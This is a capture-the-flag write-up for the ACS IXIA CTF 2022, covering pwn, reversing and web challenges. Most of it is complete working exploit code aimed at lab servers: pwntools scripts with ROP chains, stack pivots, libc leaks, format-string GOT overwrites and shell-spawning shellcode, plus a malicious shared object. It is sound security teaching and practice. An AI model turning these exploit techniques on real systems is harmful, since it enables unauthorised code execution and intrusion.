ACS IXIA CTF 2022

April 10, 2022

Fun weekend CTF, I managed to get 1st place for the 3rd year in a row! This was my last ACS IXIA CTF as I'm graduating this year.

Writeups:

Zootopia 1 (50) - Exploit

This is the first challenge of a 4 challenge series. We have 4 binaries which have just a few differences between them.

This is the vulnerable part of the program:

In VulnFunction, 0x100 bytes are being read into buffer but as we can see in the Stack view on the left, size of buffer until saved return address is only 0x90 so we have a buffer overflow.

x86 binary with most protections disabled. We can just overwrite the return address and call system from function QuoteSystemFunction with the address of /bin/sh on the stack.

As we don't really have a /bin/sh string in the program, we must stack pivot in order to be able to execute commands.

We can stack pivot to .bss as there's a lot of space there.

As buffer is referenced by ebp, by setting ebp to an address from the .bss during the first buffer overflow we can write our second stage of the exploit there and on leave instruction ebp will be copied into esp and we will be able to jump to our second stage exploit.

from pwn import *

# sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 33317)

push_esp = 0x08048541
system = 0x80486b5 #0x8048490
vuln_function = 0x804871b # 0x8048712

mov_pebp_esp = 0x08049c12

new_ebp = 0x8060000

payload = b'/bin/sh\x00'
payload += b'A' * (0x90 - len(payload) - 4)
payload += p32(new_ebp)
payload += p32(vuln_function)

sh.sendline(payload)

payload = b'/bin/sh\x00'
payload += b'A' * (0x90 - len(payload))
payload += p32(system)
payload += p32(new_ebp+0xc)
payload += b'/bin/sh\x00'

"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x804876a
continue
''')
"""


sh.sendline(payload)

sh.interactive()

ACS_IXIA_CTF{what_is_your_major_malfunction}

Zootopia 2 (50) - Exploit

This is pretty much the same as Zootopia 1, only difference is that the binary is x86-64 instead of x86.

The string address when calling system must now be in rdi instead of on the stack, so we need a pop_rdi gadget.

We need to change some addresses and update values from 32 to 64 bits.

from pwn import *

#sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 34317)

OFFSET_STACK = 0x98

system = 0x40088a #0x8048490
vuln_function = 0x4008ea # 0x8048712

pop_rdi = 0x402113
new_ebp = 0x640000

payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(vuln_function)

sh.sendline(payload)

payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload))
payload += p64(pop_rdi)
payload += p64(new_ebp+0x20)
payload += p64(system)

payload += b'/bin/sh\x00'

"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x400934
continue
''')
"""


sh.sendline(payload)

sh.interactive()

ACS_IXIA_CTF{we_sense_a_soul_in_search_of_answers}

Zootopia 3 (75) - Exploit

x86 binary, same as Zootopia 1 but the system function is not imported into the binary. We are given the server's libc so we must first leak the libc value and then either call one_gadget or call system from libc.

We now have 3 stages. First we pivot our stack to bss, then we leak the address of puts, then we call one_gadget.

from pwn import *

# sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 35317)

pop_esi_edi_ebp_ret = 0x08049b90
vuln_function = 0x80486dc # 0x8048712

ret = 0x080483fe
call_puts = 0x80486c8
puts_got_plt = 0x804c018

new_ebp = 0x8090000

payload = b''
payload += b'\x00' * (0x90 - len(payload) - 4)
payload += p32(new_ebp)
payload += p32(vuln_function)

sh.sendline(payload)

payload = b''
payload += b'\x00' * (0x90 - len(payload) - 4)
payload += p32(new_ebp + 12)
payload += p32(call_puts)
payload += p32(puts_got_plt)
payload += p32(new_ebp+0x1000)
payload += p32(vuln_function)

sh.sendline(payload)

r = sh.recvuntil(b'\xf7')
puts_libc_leak = int(r[-4:][::-1].hex(),16)
print("Puts leak:", hex(puts_libc_leak))

libc_puts = 0x67d90 # 0x6dc30
libc_base = puts_libc_leak - libc_puts

libc_one_gadget = 0x137eef # 0x14480c # 0x41790 # 0x3d3d0
one_gadget = libc_base + libc_one_gadget

print("Libc base:", hex(libc_base))
print("Libc one_gadget:", hex(one_gadget))

payload = b''

payload += b'\x00' * (0x90 - len(payload) - 4)

PLTGOT = 0x1d8000 # 0x1eb000
payload += p32(new_ebp)

pop_ebx = 0x08048415

payload += p32(pop_ebx)
payload += p32(libc_base + PLTGOT)

payload += p32(one_gadget)

payload += b'\x00\x00\x00\x00' * 10

"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x804872b
continue
''')
"""


sh.sendline(payload)

sh.interactive()

ACS_IXIA_CTF{I_heed_thy_call}

Zootopia 4 (75) - Exploit

x86-64 binary, same as Zootopia 2 but the system function is not imported into the binary. We are given the server's libc so we must first leak the libc value and then either call one_gadget or call system from libc.

We now have 3 stages. First we pivot our stack to bss, then we leak the address of puts, then we call one_gadget.

from pwn import *

#sh = process('./zootopia')
sh = remote('ctf-13.security.cs.pub.ro', 36317)

OFFSET_STACK = 0x98

vuln_function = 0x4008a0 # 0x8048712
call_puts = 0x40088d
puts_got_plt = 0x603020

pop_rdi = 0x4020d3

new_ebp = 0x670000

payload = b'/bin/sh\x00'
payload += b'A' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(vuln_function)

sh.sendline(payload)

payload = b'/bin/sh\x00'

payload += b'A' * (OFFSET_STACK - len(payload) - 8)

payload += p64(new_ebp)
payload += p64(pop_rdi)
payload += p64(puts_got_plt)
payload += p64(call_puts)
payload += p64(new_ebp+0x1000)
payload += p64(vuln_function)

"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x4008ea
continue
''')
"""


sh.sendline(payload)

r = sh.recvuntil(b'\x7f')
puts_libc_leak = int(r[-6:][::-1].hex(),16)
print("Puts leak:", hex(puts_libc_leak))

puts_libc = 0x80970 # 0x84450
libc_base = puts_libc_leak - puts_libc

print("Libc base:", hex(libc_base))

one_gadget = libc_base + 0x4f302 # 0xe3b2e

ret = 0x400616
big_pop = 0x4020cc

payload = b''
payload += b'\x00' * (OFFSET_STACK - len(payload) - 8)
payload += p64(new_ebp)
payload += p64(one_gadget)
payload += b'\x00' * 100

sh.sendline(payload)

sh.interactive()

ACS_IXIA_CTF{you_wanna_piece_of_me}

Only a Way Out (100) - Exploit

We're given ssh credentials to login into a server. On there there is a binary with SUID permissions called only_a_way_out, we need to exploit this binary to get the flag.

We find out that we are able to leak 1 byte from the flag by using the exit code of the application, we can then read the exit code using echo. We repeat this process, each time incrementing the address by 1, until we meet a null byte.

$ printf "\x66\x48\x8b\x3c\x25\xe0\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
65
$ printf "\x66\x48\x8b\x3c\x25\xe1\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
67
$ printf "\x66\x48\x8b\x3c\x25\xe2\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
83
$ printf "\x66\x48\x8b\x3c\x25\xe3\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xe4\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
73
$ printf "\x66\x48\x8b\x3c\x25\xe5\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
88
$ printf "\x66\x48\x8b\x3c\x25\xe6\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
73
$ printf "\x66\x48\x8b\x3c\x25\xe7\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
65
$ printf "\x66\x48\x8b\x3c\x25\xe8\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xe9\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
67
$ printf "\x66\x48\x8b\x3c\x25\xea\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
84
$ printf "\x66\x48\x8b\x3c\x25\xeb\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
70
$ printf "\x66\x48\x8b\x3c\x25\xec\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
123
$ printf "\x66\x48\x8b\x3c\x25\xed\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
97
$ printf "\x66\x48\x8b\x3c\x25\xee\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
110
$ printf "\x66\x48\x8b\x3c\x25\xef\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
121
$ printf "\x66\x48\x8b\x3c\x25\xf0\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf1\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
108
$ printf "\x66\x48\x8b\x3c\x25\xf2\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
101
$ printf "\x66\x48\x8b\x3c\x25\xf3\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
97
$ printf "\x66\x48\x8b\x3c\x25\xf4\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
107
$ printf "\x66\x48\x8b\x3c\x25\xf5\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf6\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
105
$ printf "\x66\x48\x8b\x3c\x25\xf7\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
115
$ printf "\x66\x48\x8b\x3c\x25\xf8\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xf9\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
116
$ printf "\x66\x48\x8b\x3c\x25\xfa\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
111
$ printf "\x66\x48\x8b\x3c\x25\xfb\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
111
$ printf "\x66\x48\x8b\x3c\x25\xfc\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
95
$ printf "\x66\x48\x8b\x3c\x25\xfd\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
98
$ printf "\x66\x48\x8b\x3c\x25\xfe\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
105
$ printf "\x66\x48\x8b\x3c\x25\xff\x20\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
103
$ printf "\x66\x48\x8b\x3c\x25\x00\x21\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
125
$ printf "\x66\x48\x8b\x3c\x25\x01\x21\x60\x00\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05" |./only_a_way_out; echo "$?";
0

ACS_IXIA_CTF{any_leak_is_too_big}

Missing Piece (150) - Exploit

x86-64 binary with no protections.

This is the main function

We have a format string and then a buffer overflow. We're able to get the address of our malloc'ed memory and because there is no NX protection we can jump there and execute our shellcode.

from pwn import *

context.clear(arch = 'amd64')

shellcode = asm('\n'.join([
shellcraft.sh(),
]))

print(shellcode)

#sh = process('./missing-piece')
sh = remote('ctf-15.security.cs.pub.ro', 31337)

"""
context.terminal = ['tmux','splitw','-h']
gdb.attach(sh, '''
break *0x4012B7
continue
''')
"""


sh.sendline(b' '.join(f'%{i}$p'.encode() for i in range(1, 50)))

addr = sh.recvline().split(b' ')
old_rbp = int(addr[13][2:],16)

dest = old_rbp - 102

print('dest:', hex(dest))

payload = shellcode + b'A' * (0x80 - len(shellcode) + 8) + p64(dest)

print(payload.hex())

sh.sendline(payload)

sh.interactive()

ACS_IXIA_CTF{M3_f0und_y0u_Lo0o0ng_t1m3}

Name Database (200) - Exploit

This looked like a heap challenge, however I solved it using Format String.

This is the decompiled main function:

We can create notes which are inserted into a Linked List. Each note has an ID, a char* name which gets allocated on the heap and a pointer to the next element in the Linked List.

We can also delete notes, which deallocates the memory correctly.

Using FSB, we can overwrite free to point to system in .got.plt, and when deleting a /bin/sh note we will get a shell.

I'm using FmtStr from pwntools in order to automate the process. As strcpy is used after reading our input, our payloads cannot contain nullbyte. That's why we have to pad the input and to clear the stack with multiple notes.

from pwn import *

context.clear(arch = 'amd64')

def exec_fmt(payload):
p = process('./name_database')
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'1')
p.sendline(b'5')
return p.recvall()

def exec_haha(payload, p):
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'1')
return p.recvuntil(b'5: Exit')

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

#p = process('./name_database')

p = remote('ctf-15.security.cs.pub.ro', 41337)

p.recvuntil(b'5: Exit')

#for i in range(19, 20):
# r = exec_fmt(f'%{i}$p'.encode()).split(b'\n')[-9].split(b' ')[-1]
# print(i, r)

libc_start_main_leak = int(exec_haha(f'%19$p'.encode(), p).split(b'\n')[2].split(b' ')[-1][2:],16)

offset_main = 0x21C87
#offset_main = 0x240B3

libc_leak = libc_start_main_leak - offset_main

print(hex(libc_start_main_leak))
print(hex(libc_leak))

system_offset = 0x4F420
#system_offset = 0x522C0
system = libc_leak + system_offset

# LSB SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)

payload = fmtstr_payload(offset, {0x602018: (system)&0xFFFF}, numbwritten=16, write_size='short')

p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')


# MID SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)

payload = fmtstr_payload(offset, {0x60201A: (system>>16)&0xFFFF}, numbwritten=16, write_size='short')

p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')


# MSB SYSTEM
for i in range(53,0,-1):
print(i)
exec_haha(b'A' * i, p)

payload = fmtstr_payload(offset, {0x60201C: (system>>32)&0xFFFF}, numbwritten=16, write_size='short')

#context.terminal = ['tmux','splitw','-h']
#gdb.attach(p, '''
#break *0x400D65
#continue
#''')

p.sendline(b'1')
p.send(b'aaaaaa'+payload)
p.sendline(b'1')


p.sendline(b'1')
p.sendline(b'//bin/bash')
p.sendline(b'2')

p.interactive()

ACS_IXIA_CTF{exploit_heap_you_must_not}

Super Jump (125) - Misc

Sigreturn challenge. This is the decompiled main function:

Thankfully we can SigreturnFrame from pwntools in order to automatically generate the memory structure required.

We'll jump to the address given to us by the binary.

In order to get the flag, we must set some registers as so:

from pwn import *
import struct

context.clear()
context.arch = "amd64"

# sh = process('super-jump/super_jump')
sh = remote('141.85.224.115', 31737)
addr = int(sh.recvuntil(b'?').split(b' ')[-1][2:-1],16)

print(hex(addr))

frame = SigreturnFrame()
frame.rax = 0x11111111
frame.rbx = 0x22222222
frame.rcx = 0x33333333
frame.rdx = 0x44444444
frame.r8 = 0x55555555
frame.r9 = 0x66666666
frame.r10 = 0x77777777
frame.r11 = 0x88888888
frame.r12 = 0x99999999
frame.r13 = 0xaaaaaaaa
frame.r14 = 0xbbbbbbbb
frame.r15 = 0xcccccccc
frame.rdi = 0xdddddddd
frame.rsi = 0xeeeeeeee
frame.rbp = 0xffffffff
frame.rip = addr
frame.rsp = addr + 4096

f = bytes(frame)

sh.sendline(b'0')

for i in range(0,len(f),8):
i = struct.unpack('<Q', f[i:i+8])[0]
sh.sendline(str(i).encode())

sh.interactive()

ACS_IXIA_CTF{I_got_99_statements_but_a_switch_ain't_one}

Psychological Warfare (100) - Reverse

Challenge obfuscated with movfuscator. We can try to use demovfuscator but it doesn't help much.

We can solve this challenge by using ltrace:

fopen("/tmp/JVmbzSL4u", "w")                                                                             = 0x8a681a0
--- SIGSEGV (Segmentation fault) ---
fprintf(0x8a681a0, "%s \n", "ZjQyMjQ3Y2M5MDk2NTk3MTM0NGQ0NGE5YTM4NWQ2OGU1NDlhMDU3NzBkZjM3ODI1ZmZhY2E2Y2YwNzAwNWVkNjRmY2YzYjkzZGQ5"...) = 130
--- SIGSEGV (Segmentation fault) ---
fopen("/tmp/YiTjXhGxy", "w")                                                                             = 0x8a692f0
--- SIGSEGV (Segmentation fault) ---
fprintf(0x8a692f0, "%s\n%s\n%s\n", "755f85c2723bb39381c7379a604160d8", "9dfc8dce7280fd49fc6e7bf0436ed325", "5f4dcc3b5aa765d61d8327deb882cf99") = 99
--- SIGSEGV (Segmentation fault) ---
fclose(0x8a681a0)                                                                                        = 0
--- SIGSEGV (Segmentation fault) ---
fclose(0x8a692f0)                                                                                        = 0
--- SIGSEGV (Segmentation fault) ---
printf("Give me something to decrypt\n"Give me something to decrypt
)                                                                 = 29
--- SIGSEGV (Segmentation fault) ---
fgets(gets1
"gets1\n", 200, 0xf7eca6c0)                                                                        = 0x8604f18
--- SIGSEGV (Segmentation fault) ---
printf("Give me the key\n"Give me the key
)                                                                              = 16
--- SIGSEGV (Segmentation fault) ---
fgets(gets2
"gets2\n", 50, 0xf7eca6c0)


--- SIGSEGV (Segmentation fault) ---
strncmp("gets1\n", "f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4vuis"..., 96) = 1
--- SIGSEGV (Segmentation fault) ---
printf("Decryption failed\n"Decryption failed
)                                                                            = 18

=>

gets1 = f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4

=>

--- SIGSEGV (Segmentation fault) ---
strncmp("f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4\n", "f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4vuis"..., 96) = 0
--- SIGSEGV (Segmentation fault) ---
strncmp("gets2\n", "goodsafepasswordtottalynotobviousstringputheretofrustrateyou}", 16)                  = -1
--- SIGSEGV (Segmentation fault) ---
printf("Decryption failed\n"Decryption failed
)                          

gets2 = goodsafepassword


=>

$ ./psychological_warfare
Give me something to decrypt
f42247cc90965971344d44a9a385d68e549a05770df37825ffaca6cf07005ed64fcf3b93dd93c517088445fdecaa1da4
Give me the key
goodsafepassword
ACS_IXIA_CTF{stay_away_from_my_code}

ACS_IXIA_CTF{stay_away_from_my_code}

Swim with the Sharks (100) - Reverse

We are given two files xaa and xab, we must concatenate them and we get a .tar.gz file. Inside there is an ocean.tar file that has the following structure:

$ ls -1
2fa42b5139cbe5c9864c49b1562dca501b0731b89404184626212e8e54961a15
7a8be22df41eec4a7ed754c8eb5a7ca16431e848ab69526d208dd29e635297c8
990d174d9cb085e6608617e0748bcb9d4264b92f91c1115ec0e21d7483f0d61c
dad1e4181f5bd3ca10bd9893ebfd7dc9683355248a876c628428cacc832c002a.json
f7f872b38b9d7945f01cbd16724d44cf6783cb693a21c9547e8441b79b4da335
manifest.json
repositories

The hexadecimal directories are layers from a Docker image, as the layers are .tar files, we can just unarchive them. We know that the flag is under home/ctf/flag so we can use find.

./7a8be22df41eec4a7ed754c8eb5a7ca16431e848ab69526d208dd29e635297c8/layer/home/ctf/flag

However it is encrypted. By reading dad1e4181f5bd3ca10bd9893ebfd7dc9683355248a876c628428cacc832c002a.json we can get the command executed on the flag file:

"/bin/sh -c #(nop)  ENV API_KEY=uEVuqShjTzNeOlIlQUusJwAYwkfmDEjGCSVDZDU"

=>

"/bin/sh -c #(nop) COPY file:be79d7f31957fdf9a0fc4d1d12fb75f901066be6b655f8ddff3cf50240c7178e in /bin/encrypt "

=> 

"/bin/sh -c #(nop)  CMD [\"/bin/sh\" \"-c\" \"echo \\\"Oh no! The master messed up with the flag. Can you find how he did that?\\\"\"]"

The encrypt binary is just xoring the flag file with the API_KEY.

$ python3
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = open('flag','rb').read()
>>> a
b'4\x06\x05*8\x0b!+\x0b9\x1a#4\x15&\x19\x0e6\x14\x1d\x15\x14 5\x1b4\x0b\x08\x1b(\x05%:\x0c2+9/('
>>> from pwn import xor
>>> xor(a,'uEVuqShjTzNeOlIlQUusJwAYwkfmDEjGCSVDZDU')
b'ACS_IXIA_CTF{you_can_call_me_moby_dock}'

ACS_IXIA_CTF{you_can_call_me_moby_dock}

Magic Library (150) - Reverse

This is the decompiled main of the magic-lib binary:

The program reads 0x4e20 (20000) bytes from stdin, creates a temporary file in /tmp and places our input into that file.

Then it opens that file using dlsym, so it is opening it as a dynamic library and it returns the handle.

It then tries to get the exported function magic_function and if it finds it then it calls the function with 2 parameters, int* and char*. If after calling the function the value of the int is 0xDEADBEEF, then the second argument is passed into system.

So we need to create a shared object that implements magic_function with our payload in the second argument.

The payload:

#include <stdio.h>
#include <string.h>

// gcc -c -Wall -Werror -fpic solve.c && gcc -shared -o libsolve.o solve.o

void magic_function(int* a, char* b)
{
*a = 0xDEADBEEF;
char *s = "cat /home/ctf/flag";
int z = strlen(s);
for (int i=0;i<z+1;i++)
{
b[i] = s[i];
}
}

ACS_IXIA_CTF{who_doesnt_love_libraries}

Good Looking (100) - Web

NoSQL injection in login form:

Turns out the flag is base64 encoded in the returned msg:

QUNTX0lYSUFfQ1RGe3RoM19jMDBsM3N0X3ByMGZpbDNfaW1hZzN9Cg== is the base64 encoded flag.

ACS_IXIA_CTF{th3_c00l3st_pr0fil3_imag3}

Cashflow (200) - Web

Create an account, bruteforce /index.php for POST/GET parameters and we find ?amount which shows us our balance. Send negative amount and we notice our balance is getting higher. Repeat this process until we get 1 million coins.

ACS_IXIA_CTF{you_4re_4_m1ll1on4ir3_congr4ts}

Twitter GitHub LinkedIn